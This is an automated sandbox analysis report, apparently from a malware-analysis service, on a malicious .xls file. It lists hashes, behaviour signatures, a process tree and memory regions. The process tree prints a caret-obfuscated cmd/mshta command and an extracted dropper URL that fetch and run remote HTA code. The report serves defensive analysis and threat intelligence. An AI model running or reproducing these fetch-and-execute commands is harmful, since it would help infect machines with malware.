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Analysis

  • max time kernel
    133s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/11/2024, 21:37

General

  • Target

    da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls

  • Size

    116KB

  • MD5

    6725e5a3891abc0f348fdcbcd3feeba5

  • SHA1

    652fb97845a5e65682768c2bf7e7165ee241b810

  • SHA256

    da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e

  • SHA512

    7fbb462ae74c2ee11a4e527e17192dccb9dcac8b6e0cef0a18dc8b7ec69f411d4e4b772f67ea756e6139162b908334755228ee2f187c53a49fdf3e42a40b04ef

  • SSDEEP

    3072:Ee+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIhxe53lGvFTQ3IzxgdrvxpU0f:r+nBqmKk3hbdlylKsgqopeJBWhZFVE+j

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe6.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\da3ed64732481fa259bb82fcc84bb284e5a52480ce1cf1a8f5fc378d3f716c4e.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe6.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe6.html
        3⤵
        • Blocklisted process makes network request
        PID:4948

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    667B

    MD5

    73420927d3b6358445db12d75ab95d1a

    SHA1

    7a16c2618772d83a7528edded2c38b7db87640e3

    SHA256

    867e4a17d03d7e7005e65225de1681c28354318086c1f86068c697729104dd38

    SHA512

    3a146b3d014b189feea1d81ff3b4619ab40d4cf0bda93a50d9c982f02b0eb3945fff646cd955eff530f4a36a52fb71d3bd078ca6525b44e1011c063c362935ed

  • memory/2420-9-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-12-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-3-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

    Filesize

    64KB

  • memory/2420-4-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

    Filesize

    64KB

  • memory/2420-5-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-6-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-7-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

    Filesize

    64KB

  • memory/2420-8-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-10-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-0-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

    Filesize

    64KB

  • memory/2420-2-0x00007FFC5CC30000-0x00007FFC5CC40000-memory.dmp

    Filesize

    64KB

  • memory/2420-14-0x00007FFC5A2D0000-0x00007FFC5A2E0000-memory.dmp

    Filesize

    64KB

  • memory/2420-13-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-11-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-15-0x00007FFC5A2D0000-0x00007FFC5A2E0000-memory.dmp

    Filesize

    64KB

  • memory/2420-16-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-17-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-28-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-29-0x00007FFC9CC4D000-0x00007FFC9CC4E000-memory.dmp

    Filesize

    4KB

  • memory/2420-30-0x00007FFC9CBB0000-0x00007FFC9CDA5000-memory.dmp

    Filesize

    2.0MB

  • memory/2420-1-0x00007FFC9CC4D000-0x00007FFC9CC4E000-memory.dmp

    Filesize

    4KB